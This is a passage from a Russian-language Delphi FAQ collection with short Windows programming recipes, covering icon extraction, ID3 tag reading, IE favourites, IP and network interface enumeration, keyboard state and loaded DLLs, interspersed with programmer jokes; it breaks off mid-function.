Image1.Picture.Icon.Handle := ExtractIcon(HInstance, A, 0);
|
Получение иконки из ICO, EXE, DLL 2.
Сначала в разделе interface пишем такой код:
type ThIconArray = array[0..0] of hIcon; type PhIconArray = ^ThIconArray; function ExtractIconExA(lpszFile: PAnsiChar; nIconIndex: Integer; phiconLarge : PhIconArray; phiconSmall: PhIconArray; nIcons: UINT): UINT; stdcall; external 'shell32.dll' name 'ExtractIconExA'; function ExtractIconExW(lpszFile: PWideChar; nIconIndex: Integer; phiconLarge: PhIconArray; phiconSmall: PhIconArray; nIcons: UINT): UINT; stdcall; external 'shell32.dll' name 'ExtractIconExW'; function ExtractIconEx(lpszFile: PAnsiChar; nIconIndex: Integer; phiconLarge : PhIconArray; phiconSmall: PhIconArray; nIcons: UINT): UINT; stdcall; external 'shell32.dll' name 'ExtractIconExA'; |
Затем по нажатию на кнопку:
procedure TForm1.Button1Click(Sender: TObject);
var
NumIcons: integer;
pTheLargeIcons: phIconArray;
pTheSmallIcons: phIconArray;
LargeIconWidth: integer;
SmallIconWidth: integer;
SmallIconHeight: integer;
i: integer;
TheIcon: TIcon;
TheBitmap: TBitmap;
begin
NumIcons :=
ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
-1, nil, nil, 0);
if NumIcons > 0 then
begin
LargeIconWidth := GetSystemMetrics(SM_CXICON);
SmallIconWidth := GetSystemMetrics(SM_CXSMICON);
SmallIconHeight := GetSystemMetrics(SM_CYSMICON);
GetMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
GetMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
FillChar(pTheLargeIcons^, NumIcons * sizeof(hIcon), #0);
FillChar(pTheSmallIcons^, NumIcons * sizeof(hIcon), #0);
ExtractIconEx('C:\Program Files\Borland\Delphi 3\BIN\delphi32.exe',
0, pTheLargeIcons, pTheSmallIcons, numIcons);
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
for i := 0 to (NumIcons - 1) do
begin
DrawIcon(Form1.Canvas.Handle, i * LargeIconWidth, 0, pTheLargeIcons^[i]);
TheIcon := TIcon. Create;
TheBitmap := TBitmap.Create;
TheIcon.Handle := pTheSmallIcons^[i];
TheBitmap.Width := TheIcon.Width;
TheBitmap.Height := TheIcon.Height;
TheBitmap.Canvas.Draw(0, 0, TheIcon);
TheIcon.Free;
Form1.Canvas.StretchDraw(Rect(i * SmallIconWidth,
100, (i + 1) * SmallIconWidth, 100 + SmallIconHeight), TheBitmap);
TheBitmap.Free;
end;
{$IFDEF CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
FreeMem(pTheLargeIcons, NumIcons * sizeof(hIcon));
FreeMem(pTheSmallIcons, NumIcons * sizeof(hIcon));
end;
end;
|
Получение уникального номера, под которым можно вставить запись в таблицу.
Автор: Андрей Марин WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение уникального номера, под которым можно вставить запись в таблицу
Эта функция может быть использована только для тех таблиц,
у которых первое поле - уникальное и ключевое, и при этом
больше ключевых полей нет. Первое поле может иметь как целый тип,
так и вещественный, но содержать только целые значения.
Вместо этой функции можно было бы использовать значение
Table.RecordCount если бы не было необходимости удалять
записи из таблицы. При удалении записи из таблицы возрастание
номеров идёт с разрывами. В принципе, эта проблема может быть
решена и возвращением номера, на единицу боьше последнего,
однако такой вариант плох для таблиц с количеством записей,
сопоставимым с максимальным значением переменной типа Cardinal
и/или для таблиц, с которыми часто совершаются операции
добавления и удаления записей. Предполагается, что первое
значение - 0, второе - 1 и т.д.
Зависимости: DBTables
Автор: Андрей Марин, andrei_marin@mail.ru, Москва
Copyright: Собственное написание Андрея Марина
Дата: 27 сентября 2002 г.
***************************************************** }
function GetId(Tab: TTable): Cardinal;
var
i: Integer; // предполагается, что первое поле - целое, ключевое и при этом
s: string; // больше ключевых полей в этой таблице нет
begin
if Tab.RecordCount = 0 then
begin
Result := 0;
Exit
end;
s := Tab.IndexFieldNames; // сохранение индекса
Tab.IndexFieldNames := Tab.Fields[0].DisplayName;
// установка первого поля в качестве индексного
Tab.Last;
if Tab.Fields[0].AsInteger = Tab.RecordCount - 1 then
begin // если числовой ряд полон
Result := Tab.RecordCount;
Tab.IndexFieldNames := s;
Exit
end;
Tab.First; // в противном случае поиск "дырки"
i := Tab.Fields[0].AsInteger;
if i > 0 then
Result := 0 // если ряд начинается не с нуля, то результат - ноль
else
repeat // собственно поиск
i := Tab.Fields[0].AsInteger;
Tab.Next;
Result := i + 1;
if Tab.Fields[0].AsInteger > i + 1 then
Break
until Tab.Eof;
Tab.IndexFieldNames := s
end;
Пример использования:
Table2.AppendRecord([GetId(Table2), i + 1, BaloonAreas.Pages[i].Tag, p.fi, p.l, q.fi, q.l, Radius1.Value, R2, R3, BalBeginAngle.Value, BalEndAngle.Value, BalSectorGroup.ItemIndex, p1.fi, p1.l, q1.fi, q1.l]);
Получаем ID3Tag v1.

{
Byte 1-3 = ID 'TAG'
Byte 4-33 = Titel / Title
Byte 34-63 = Artist
Byte 64-93 = Album
Byte 94-97 = Jahr / Year
Byte 98-127 = Kommentar / Comment
Byte 128 = Genre
}
type
TID3Tag = record
ID: string[3];
Titel: string[30];
Artist: string[30];
Album: string[30];
Year: string[4];
Comment: string[30];
Genre: Byte;
end;
const
Genres : array[0..146] of string =
('Blues','Classic Rock','Country','Dance','Disco','Funk','Grunge',
'Hip- Hop','Jazz','Metal','New Age','Oldies','Other','Pop','R&B',
'Rap','Reggae','Rock','Techno','Industrial','Alternative','Ska',
'Death Metal','Pranks','Soundtrack','Euro-Techno','Ambient',
'Trip-Hop','Vocal','Jazz+Funk','Fusion','Trance','Classical',
'Instrumental','Acid','House','Game','Sound Clip','Gospel','Noise',
'Alternative Rock','Bass','Punk','Space','Meditative','Instrumental Pop',
'Instrumental Rock','Ethnic','Gothic','Darkwave','Techno-Industrial','Electronic',
'Pop-Folk','Eurodance','Dream','Southern Rock','Comedy','Cult','Gangsta',
'Top 40','Christian Rap','Pop/Funk','Jungle','Native US','Cabaret','New Wave',
'Psychadelic','Rave','Showtunes','Trailer','Lo-Fi','Tribal','Acid Punk',
'Acid Jazz','Polka','Retro','Musical','Rock & Roll','Hard Rock','Folk',
'Folk-Rock','National Folk','Swing','Fast Fusion','Bebob','Latin','Revival',
'Celtic','Bluegrass','Avantgarde','Gothic Rock','Progressive Rock',
'Psychedelic Rock','Symphonic Rock','Slow Rock','Big Band','Chorus',
'Easy Listening','Acoustic','Humour','Speech','Chanson','Opera',
'Chamber Music','Sonata','Symphony','Booty Bass','Primus','Porn Groove',
'Satire','Slow Jam','Club','Tango','Samba','Folklore','Ballad',
'Power Ballad','Rhytmic Soul','Freestyle','Duet','Punk Rock','Drum Solo',
'Acapella','Euro-House','Dance Hall','Goa','Drum & Bass','Club-House',
'Hardcore','Terror','Indie','BritPop','Negerpunk','Polsk Punk','Beat',
'Christian Gangsta','Heavy Metal','Black Metal','Crossover','Contemporary C',
'Christian Rock','Merengue','Salsa','Thrash Metal','Anime','JPop','SynthPop');
var
Form1: TForm1;
implementation
{$R *.dfm}
function readID3Tag(FileName: string): TID3Tag;
var
FS: TFileStream;
Buffer: array [1..128] of Char;
begin
FS := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
FS.Seek(-128, soFromEnd);
FS.Read(Buffer, 128);
with Result do
begin
ID := Copy(Buffer, 1, 3);
Titel := Copy(Buffer, 4, 30);
Artist := Copy(Buffer, 34, 30);
Album := Copy(Buffer, 64, 30);
Year := Copy(Buffer, 94, 4);
Comment := Copy(Buffer, 98, 30);
Genre := Ord(Buffer[128]);
end;
finally
FS.Free;
end;
end;
procedure TfrmMain.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
begin
with readID3Tag(OpenDialog1.FileName) do
begin
LlbID.Caption := 'ID: ' + ID;
LlbTitel.Caption := 'Titel: ' + Titel;
LlbArtist.Caption := 'Artist: ' + Artist;
LlbAlbum.Caption := 'Album: ' + Album;
LlbYear.Caption := 'Year: ' + Year;
LlbComment.Caption := 'Comment: ' + Comment;
if (Genre >= 0) and (Genre <=146) then
LlbGenre.Caption := 'Genre: ' + Genres[Genre]
else
LlbGenre.Caption := 'N/A';
end;
end;
end;
|
Как получить закладки IE.
| Встречаются два ярых интернетчика... Один - другому: - Слуууухай... Вчера на Мясницкой таакууую деевушку встретил... Познакомится не успел... :о( Гдееее её теперь искать.... Тот ему: - Не, ну ты чё, её букмаркой не заложил, что ль??? |
function GetIEFavourites(const favpath: string): TStrings;
var
searchrec: TSearchrec;
str: TStrings;
path, dir, filename: string;
Buffer: array [0..2047] of Char;
found: Integer;
begin
str := TStringList.Create;
//Get all file names in the favourites path
path := FavPath + '\*.url';
dir := ExtractFilepath(path);
found := FindFirst(path, faAnyFile, searchrec);
while found = 0 do
begin
//Get now URLs from files in variable files
SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',
PChar('URL'), nil, Buffer, SizeOf(Buffer), PChar(dir+searchrec.name)));
str.Add(filename);
found := FindNext(searchrec);
end;
//unterordner finden
found := FindFirst(dir + '\*.*', faAnyFile, searchrec);
while found=0 do
begin
if ((searchrec.Attr and faDirectory) > 0) and (searchrec.name[1] <> '.') then
str.AddStrings(GetIEFavourites(dir + '\' + searchrec.name));
found := FindNext(searchrec);
end;
FindClose(searchrec);
Result := str;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
pidl: PItemIDList;
FavPath: array [0..MAX_PATH] of char;
begin
SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);
SHGetPathFromIDList(pidl, favpath);
ListBox1.Items := GetIEFavourites(StrPas(FavPath));
end;
|
Извлечение изображения из BLOB-поля.
| - Почему программеры, сисопы и прочий компьютерный люд, всё время пьют пиво или ещё чего покрепче? - А вы пробовали смотреть на работу чайника за компьютером на трезвую голову? |
Вот пример кода, демонстрирующего использование метода Assign для копирования изображения из BLOB-поля в компонент TImage.
procedure TForm1.Button1Click(Sender: TObject); begin Image1.Picture.Bitmap.Assign(Table1Bitmap); end; |
В данном примере, объект Table1Bitmap типа TBLOBField - BLOB-поле таблицы dBASE. Данный TBLOBField-объекты был создан с помощью редактора полей (Fields Editor). Если редактор полей для создания TFields для полей таблицы не используется, получить доступ к полям можно с помощью метода FieldByName или свойства Fields, оба они являются членами компонентов TTable или TQuery. В случае ссылки на BLOB-поле таблицы с помощью одного из приведенных членов, перед использованием метода Assign указатель на поле должен быть прежде приведен к типу объекта TBLOBField. Для примера:
procedure TForm1.Button1Click(Sender: TObject); begin Image1.Picture.Bitmap.Assign(TBLOBField(Table1.Fields[1])); end; |
Изображение, хранящееся в BLOB-поле, может быть скопировано непосредственно в отдельный TBitmap объект. Ниже приведен пример, демонстрирующий создание объекта TBitmap и сохранения в нем изображения из BLOB-поля.
procedure TForm1.Button2Click(Sender: TObject);
var
B: TBitmap;
begin
B := TBitmap.Create;
try
B.Assign(Table1Bitmap);
Image1.Picture.Bitmap.Assign(B);
finally
B.Free;
end;
end;
|
Получить картинки из MessageDlg.
procedure TForm1.Button1Click(Sender: TObject); var Ic: TIcon; begin Ic := TIcon.Create; Ic.Handle := LoadIcon(0, IDI_APPLICATION); Form1.Canvas.Draw(1, 1, Ic); Ic.Handle := LoadIcon(0, IDI_ASTERISK); Form1.Canvas.Draw(32, 1, Ic); Ic.Handle := LoadIcon(0, IDI_EXCLAMATION); Form1.Canvas.Draw(64, 1, Ic); Ic.Handle := LoadIcon(0, IDI_QUESTION); Form1.Canvas.Draw(1, 32, Ic); Ic.Handle := LoadIcon(0, IDI_HAND); Form1.Canvas.Draw(32, 32, Ic); Ic.Handle := LoadIcon(0, IDI_WINLOGO); Form1.Canvas.Draw(64, 32, Ic); Ic.Destroy; end; |
Захват части изображения.
Автор: Mike ScottВот пример кода, позволящего с помощью TBitmap захватить часть изображения и сохранить его в файле. Я включил функцию копирования палитры, необходимой при работе в режиме 256 цветов.
function CopyPalette(Palette: HPalette): HPalette;
var
nEntries: integer;
LogPalSize: integer;
LogPalette: PLogPalette;
begin
Result := 0;
if Palette = 0 then
exit;
GetObject(Palette, sizeof(nEntries), @nEntries);
if nEntries < 1 then
exit;
LogPalSize := sizeof(TLogPalette) + sizeof(TPaletteEntry) * (nEntries - 1);
GetMem(LogPalette, LogPalSize);
with LogPalette^ do
try
palVersion := $300;
palNumEntries := nEntries;
GetPaletteEntries(Palette, 0, nEntries, palPalEntry[0]);
Result := CreatePalette(LogPalette^);
finally
FreeMem(LogPalette, LogPalSize);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Bitmap: TBitmap;
begin
Bitmap := TBitmap.Create;
try
Bitmap.Width := 50;
Bitmap.Height := 40;
Bitmap.Palette := CopyPalette(Image1.Picture.Bitmap.Palette);
Bitmap.Canvas.CopyRect(Rect(0, 0, 50, 40),
Image1.Picture.Bitmap.Canvas,
Bounds(20, 10, 50, 40));
Bitmap.SaveToFile('c:\windows\temp\junk.bmp');
finally
Bitmap.Free;
end;
end;
|
Получение списка вложенных каталогов.
Автор: Samsonov Aleksandr WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка вложенных каталогов
Процедура служит ля получения списка каталогов вложенных в указанный каталог.
Полезно ее использовать для построения дерева каталогов.
Полученные в OutPaper данные можно передать процедуре
Радионова Алексейя которая по ним построит дерево.
Зависимости: sysutils, classes, StdCtrls, UDBF.FillTreeViewWithFiles
Автор: Samsonov Aleksandr, s002156@mail.ru, Tver
Copyright: s002156Shurik
Дата: 19 сентября 2002 г.
***************************************************** }
procedure GetTreeDirs(Root: string; OutPaper: TStringList);
var
i: Integer;
s: string;
procedure InsDirs(s: string; ind: Integer; Path: string; OPaper: TStringList);
var {Вставляет в Memo список вложенных директорий}
sr: TSearchRec;
attr: Integer;
begin
attr := 0;
attr := faAnyFile;
if DirectoryExists(Path) then
if FindFirst(IncludeTrailingBackslash(Path) + '*.*', attr, SR) = 0 then
begin
repeat
if (sr.Attr = faDirectory) and (sr.Name[Length(sr.Name)] <> '.') then
OPaper.Insert(ind, s + sr.Name);
until (FindNext(sr) <> 0);
FindClose(SR);
end
end;
begin
{Проверяем существуетли начальный каталог}
if not DirectoryExists(Root) then
exit;
{Создаем список каталогов первой вложенности}
if root[Length(Root)] <> '\' then
InsDirs(root + '\', OutPaper.Count, Root, OutPaper)
else
InsDirs(root, OutPaper.Count, Root, OutPaper);
i := 0;
repeat
s := OutPaper[i]; //в s получаем путь к уже внесенному в список кат.
// Вставляем сразу за данной директорией в списке,
// список вложенных в нее директорий.
// Тем самым увеличиваем OutPaper.Lines.Count.
// Таким образом катологи в которых поиск еще не производился,
// оказываются ниже и очереь до них еще дойдет.
InsDirs(s + '\', i + 1, OutPaper[i], OutPaper);
inc(i);
until (i = OutPaper.Count);
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
Strs: TStringList;
begin
Strs := TStringList.Create;
try
GetTreeDirs('C:\', Strs);
FillTreeViewWithFiles(TreeView1, Strs);
finally
Strs.Free;
end;
end;
Получить тип интернет соединения.
| Афоризм дня: Возвращается муж домой из Интернета... |
uses
WinInet;
const
MODEM = 1;
LAN = 2;
PROXY = 4;
BUSY = 8;
function GetConnectionKind(var strKind: string): Boolean;
var
flags: DWORD;
begin
strKind := '';
Result := InternetGetConnectedState(@flags, 0);
if Result then
begin
if (flags and MODEM) = MODEM then strKind := 'Modem';
if (flags and LAN) = LAN then strKind := 'LAN';
if (flags and PROXY) = PROXY then strKind := 'Proxy';
if (flags and BUSY) = BUSY then strKind := 'Modem Busy';
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
strKind: string;
begin
if GetConnectionKind(strKind) then
ShowMessage(strKind);
end;
|
Как при создании объекта TThread передать ему некоторое значение.
| Антивирус для Windows - я выбираю безопасный секс! |
К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?
Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.
TYourThread = class(TTHread)
private
FFileName: string;
protected
procedure Execute; overrided;
public
constructor Create(CreateSuspennded: Boolean; const AFileName: string);
end;
...
constructor TYourThread.Create(CreateSuspennded: Boolean;
const AFileName: string);
begin
inherited Create(CreateSuspennded);
FFIleName := AFileName;
end;
procedure TYourThread.Execute;
begin
try
...
if FFileName = ...
...
except
...
end;
end;
...
TYourForm = class(TForm)
...
private
YourThread: TYourThread;
procedure LaunchYourThread(const AFileName: string);
procedure YourTreadTerminate(Sender: TObject);
...
end;
...
procedure TYourForm.LaunchYourThread(
const AFileName: string);
begin
YourThread := TYourThread.Create(True, AFileName);
YourThread.Onterminate := YourTreadTerminate;
YourThread.Resume
end;
...
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
...
end;
...
end.
|
Взятие интеграла методом Симпсона.
Автор: Mystic WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Взятие интеграла методом Симпсона
Интеграл методом Симпсона
A, B - интервал интегрирования
N - число точек на интервале
Func - функция, от которой берется интеграл.
Возвращаемое значение - значение интеграла
Зависимости: System
Автор: Mystic, mystic2000@newmail.ru, ICQ:125905046, Харьков
Copyright: Mystic
Дата: 25 апреля 2002 г.
***************************************************** }
type
TFunction = function(X: Extended; Arg: Pointer): Extended;
function Simpson(A, B: Extended; N: Cardinal; Func: TFunction; Arg: Pointer):
Extended;
var
h: Extended;
X: Extended;
K: Extended;
I: Integer;
begin
Assert(N > 0);
h := 0.5 * (B - A) / N;
Result := Func(A, Arg);
X := A + h;
for I := 1 to 2 * N - 1 do
begin
if I mod 2 = 0 then
K := 2
else
K := 4;
Result := Result + K * Func(X, Arg);
X := X + h;
end;
Result := Result + Func(B, Arg);
Result := h * Result / 3;
end;
Получить информацию о целых типах.
Автор: Xavier Pacheco
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TMainForm = class(TForm)
lbSamps: TListBox;
memInfo: TMemo;
procedure FormCreate(Sender: TObject);
procedure lbSampsClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses TypInfo;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
with lbSamps.Items do
begin
AddObject('Word', TypeInfo(Word));
AddObject('Integer', TypeInfo(Integer));
AddObject('Byte', TypeInfo(Byte));
end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
var
OrdTypeInfo: PTypeInfo;
OrdTypeData: PTypeData;
TypeNameStr: string;
TypeKindStr: string;
MinVal, MaxVal: Integer;
begin
memInfo.Lines.Clear;
with lbSamps do
begin
// Get the TTypeInfo pointer
OrdTypeInfo := PTypeInfo(Items.Objects[ItemIndex]);
// Get the TTypeData pointer
OrdTypeData := GetTypeData(OrdTypeInfo);
// Get the type name string
TypeNameStr := OrdTypeInfo.Name;
// Get the type kind string
TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(OrdTypeInfo^.Kind));
// Get the minimum and maximum values for the type
MinVal := OrdTypeData^.MinValue;
MaxVal := OrdTypeData^.MaxValue;
// Add the information to the memo
with memInfo.Lines do
begin
Add('Type Name: ' + TypeNameStr);
Add('Type Kind: ' + TypeKindStr);
Add('Min Val: ' + IntToStr(MinVal));
Add('Max Val: ' + IntToStr(MaxVal));
end;
end;
end;
end.
Получение IP-адреса.
Оформил: DeeCo
Автор: CyANiD.
От автора: IP можно получить, заUSЕ'ав компонент TClientSocket или TServerSocket, но это значительно утяжелит ваш Ехе'шник. Я предлагаю другой, более рациональный способ.
Host: TLabel;
IPaddr: TLabel;
...
uses Winsock;
...
procedure TForm1.FormCreate(Sender: TObject);
var
wVerReq: WORD;
wsaData: TWSAData;
i: pchar;
h: PHostEnt;
c: array[0..128] of char;
begin
wVerReq := MAKEWORD(1, 1);
WSAStartup(wVerReq, wsaData);
{Получаем хост (имя) компа}
GetHostName(@c, 128);
h := GetHostByName(@c);
Host.Caption := h^.h_Name; //Host отображает хост(имя) компьютера
{Достаем IP}
i := iNet_ntoa(PInAddr(h^.h_addr_list^)^);
IPaddr.Caption := i; //Теперь IPaddr отображает IP-адрес
WSACleanup;
end;
Если какие баги лезут, присылайте ваш проект (без Exe) нам с описанием вашей системы, Delphi и конфигурации. Может у вас вообще баги с Windows Sockets.
Получение IP-адреса и маски для всех сетевых интерфейсов.
| Автор: Giannis Sampaziotis |
| Приходит девушка к программисту в гости, а тот: - Чай, кофе, Интернет? |
Существует множество методов получения IP адреса компьютера. Но данный пример представляет наиболее корректный способ получения всех адресов, сетевых масок, broadcast адресов и статусов для всех интерфейсов включая циклический 127.0.0.1 - требует WinSock 2.
Это завершённый Delphi компонент. Для его использования достаточно вызвать:
EnumInterfaces(var s string): Boolean; |
Которая вернёт строку, разделённую CRLF и содержащую всё, нужную нам информацию.
unit USock;
interface
uses
Windows, Winsock;
{
Если Вы поместите строку результатов в wide TMEMO
(в его свойство memo.lines.text)
то никаких результатов не увидите.
Тестировалось на Win98/ME/2K, 95 OSR 2 и NT service
pack #3 , потому что используется WinSock 2 (WS2_32.DLL)
}
function EnumInterfaces(var sInt: string): Boolean;
{ функция WSAIOCtl импортируется из Winsock 2.0 - Winsock 2 доступен }
{ только в Win98/ME/2K и 95 OSR2, NT srv pack #3 }
function WSAIoctl(s: TSocket; cmd: DWORD; lpInBuffer: PCHAR; dwInBufferLen:
DWORD;
lpOutBuffer: PCHAR; dwOutBufferLen: DWORD;
lpdwOutBytesReturned: LPDWORD;
lpOverLapped: POINTER;
lpOverLappedRoutine: POINTER): Integer; stdcall; external 'WS2_32.DLL';
{ Константы взятые из заголовка C файлов }
const
SIO_GET_INTERFACE_LIST = $4004747F;
IFF_UP = $00000001;
IFF_BROADCAST = $00000002;
IFF_LOOPBACK = $00000004;
IFF_POINTTOPOINT = $00000008;
IFF_MULTICAST = $00000010;
type sockaddr_gen = packed record
AddressIn: sockaddr_in;
filler: packed array [0..7] of char;
end;
type INTERFACE_INFO = packed record
iiFlags: u_long; // Флаги интерфейса
iiAddress: sockaddr_gen; // Адрес интерфейса
iiBroadcastAddress: sockaddr_gen; // Broadcast адрес
iiNetmask: sockaddr_gen; // Маска подсети
end;
implementation
{-------------------------------------------------------------------
1. Открываем WINSOCK
2. Создаём сокет
3. Вызываем WSAIOCtl для доступа к сетевым интерфейсам
4. Для каждого интерфейса, получаем IP, MASK, BROADCAST, статус
5. Разделяем строку символом CRLF
6. Конец :)
--------------------------------------------------------------------}
function EnumInterfaces(var sInt: string): Boolean;
var
s: TSocket;
wsaD: WSADATA;
NumInterfaces: Integer;
BytesReturned, SetFlags: u_long;
pAddrInet: SOCKADDR_IN;
pAddrString: PCHAR;
PtrA: pointer;
Buffer: array[0..20] of INTERFACE_INFO;
i: Integer;
begin
result := true; // Инициализируем переменную
sInt := '';
WSAStartup($0101, wsaD); // Запускаем WinSock
// Здесь можно дабавить различные обработчики ошибки :)
s := Socket(AF_INET, SOCK_STREAM, 0); // Открываем сокет
if (s = INVALID_SOCKET) then
exit;
try // Вызываем WSAIoCtl
PtrA := @bytesReturned;
if (WSAIoCtl(s, SIO_GET_INTERFACE_LIST, nil, 0, @Buffer,
1024, PtrA, nil, nil) <> SOCKET_ERROR) then
begin // Если OK, то определяем количество существующих интерфейсов
NumInterfaces := BytesReturned div SizeOf(INTERFACE_INFO);
for i := 0 to NumInterfaces - 1 do // Для каждого интерфейса
begin
pAddrInet := Buffer[i].iiAddress.addressIn; // IP адрес
pAddrString := inet_ntoa(pAddrInet.sin_addr);
sInt := sInt + ' IP=' + pAddrString + ',';
pAddrInet := Buffer[i].iiNetMask.addressIn; // Маска подсети
pAddrString := inet_ntoa(pAddrInet.sin_addr);
sInt := sInt + ' Mask=' + pAddrString + ',';
pAddrInet := Buffer[i].iiBroadCastAddress.addressIn; // Broadcast адрес
pAddrString := inet_ntoa(pAddrInet.sin_addr);
sInt := sInt + ' Broadcast=' + pAddrString + ',';
SetFlags := Buffer[i].iiFlags;
if (SetFlags and IFF_UP) = IFF_UP then
sInt := sInt + ' Interface UP,' // Статус интерфейса up/down
else
sInt := sInt + ' Interface DOWN,';
if (SetFlags and IFF_BROADCAST) = IFF_BROADCAST then // Broadcasts
sInt := sInt + ' Broadcasts supported,' // поддерживает или
else // не поддерживается
sInt := sInt + ' Broadcasts NOT supported,';
if (SetFlags and IFF_LOOPBACK) = IFF_LOOPBACK then // Циклический или
sInt := sInt + ' Loopback interface'
else
sInt := sInt + ' Network interface'; // нормальный
sInt := sInt + #13#10; // CRLF между каждым интерфейсом
end;
end;
except
end;
//
// Закрываем сокеты
//
CloseSocket(s);
WSACleanUp;
result := false;
end;
end.
|
Определить состояние CapsLock.
| Озеро, тонет хакер: - F1!!! F1!!! ... Тьфу-ты... Не1р!!! Не1р!!! |
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if GetKeyState(VK_CAPITAL) and 1 = 0 then
Form1.Caption := 'Caps lock не горит'
else
Form1.Caption := 'Caps lock горит';
end;
|
Определить состояние CapsLock 2.
| Один программер отчитывает другого программера: - У тебя что, руки под Ctrl-Alt-Del заточены? |
procedure AppOnIdle(Sender: TObject; var Done: Boolean); ... procedure TForm1.AppOnIdle(Sender: TObject; var Done: Boolean); begin CheckBox1.Checked := Odd(GetKeyState(VK_CAPITAL)); CheckBox2.Checked := Odd(GetKeyState(VK_SHIFT)); CheckBox3.Checked := Odd(GetKeyState(VK_NUMLOCK)); CheckBox4.Checked := Odd(GetKeyState(VK_SCROLL)); Done := False; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.OnIdle := AppOnIdle; end; |
Определить состояние CapsLock 3.
function IsCapsLockOn: Boolean; begin Result := 0 <> (GetKeyState(VK_CAPITAL) and $01); end; |
Как получить более светлый или более тёмный цвет.
Автор: http://www.swissdelphicenter.ch
{
Here's some function that returns the lighter or darker color of a TColor.
You can use it, for example, to design a bevel or something like that.
}
{=======================================}
function Min(a, b: Longint): Longint;
begin
if a > b then
Result := b
else
Result := a;
end;
function Max(a, b: Longint): Longint;
begin
if a > b then
Result := a
else
Result := b;
end;
{=======================================}
function GetHighlightColor(BaseColor: TColor): TColor;
begin
Result := RGB(Min(GetRValue(ColorToRGB(BaseColor)) + 64, 255),
Min(GetGValue(ColorToRGB(BaseColor)) + 64, 255),
Min(GetBValue(ColorToRGB(BaseColor)) + 64, 255));
end;
function GetShadowColor(BaseColor: TColor): TColor;
begin
Result := RGB(Max(GetRValue(ColorToRGB(BaseColor)) - 64, 0),
Max(GetGValue(ColorToRGB(BaseColor)) - 64, 0),
Max(GetBValue(ColorToRGB(BaseColor)) - 64, 0));
end;
Получение имени файла из его ярлыка.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение имени файла из его ярлыка
В параметре LinkFileName необходимо указать полное имя файлы-ярлыка.
Функция возвратит полное имя файла, на который ссылается рассматриваемый ярлык
Зависимости: ComObj, SysUtils, Windows, ActiveX, System, ShlObj
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: некий FAQ... не помню какой
Дата: 27 апреля 2002 г.
***************************************************** }
function GetFileNamefromLink(LinkFileName: string): string;
var
MyObject: IUnknown;
MySLink: IShellLink;
MyPFile: IPersistFile;
FileInfo: TWin32FINDDATA;
WidePath: array[0..MAX_PATH] of WideChar;
Buff: array[0..MAX_PATH] of Char;
begin
Result := '';
if (fileexists(Linkfilename) = false) then
exit;
MyObject := CreateComObject(CLSID_ShellLink);
MyPFile := MyObject as IPersistFile;
MySLink := MyObject as IShellLink;
StringToWideChar(LinkFileName, WidePath, SizeOf(WidePath));
MyPFile.Load(WidePath, STGM_READ);
MySLink.GetPath(Buff, Max_PATH, FileInfo, SLGP_UNCPRIORITY);
Result := buff;
end;
Получение списка DLL загруженных приложением.
Автор: Simon CarterИногда бывает полезно знать какими DLL-ками пользуется Ваше приложение. Давайте посмотрим как это можно сделать в Win NT/2000:
unit ModuleProcs;
interface
uses
Windows, Classes;
type
TModuleArray = array [0..400] of HMODULE;
TModuleOption = (moRemovePath, moIncludeHandle);
TModuleOptions = set of TModuleOption;
function GetLoadedDLLList(sl: TStrings;
Options: TModuleOptions = [moRemovePath]): Boolean;
implementation
uses
SysUtils;
function GetLoadedDLLList(sl: TStrings;
Options: TModuleOptions = [moRemovePath]): Boolean;
type
EnumModType = function (hProcess: Longint; lphModule: TModuleArray;
cb: DWord; var lpcbNeeded: Longint): Boolean; stdcall;
var
psapilib: HModule;
EnumProc: Pointer;
ma: TModuleArray;
I: Longint;
FileName: array[0..MAX_PATH] of Char;
S: string;
begin
Result := False;
(* Данная функция запускается только для Widnows NT *)
if Win32Platform <> VER_PLATFORM_WIN32_NT then
Exit;
psapilib := LoadLibrary('psapi.dll');
if psapilib = 0 then
Exit;
try
EnumProc := GetProcAddress(psapilib, 'EnumProcessModules');
if not Assigned(EnumProc) then
Exit;
sl.Clear;
FillChar(ma, SizeOF(TModuleArray), 0);
if EnumModType(EnumProc)(GetCurrentProcess, ma, 400, I) then
begin
for I := 0 to 400 do
if ma[i] <> 0 then
begin
FillChar(FileName, MAX_PATH, 0);
GetModuleFileName(ma[i], FileName, MAX_PATH);
if CompareText(ExtractFileExt(FileName), '.dll') = 0 then
begin
S := FileName;
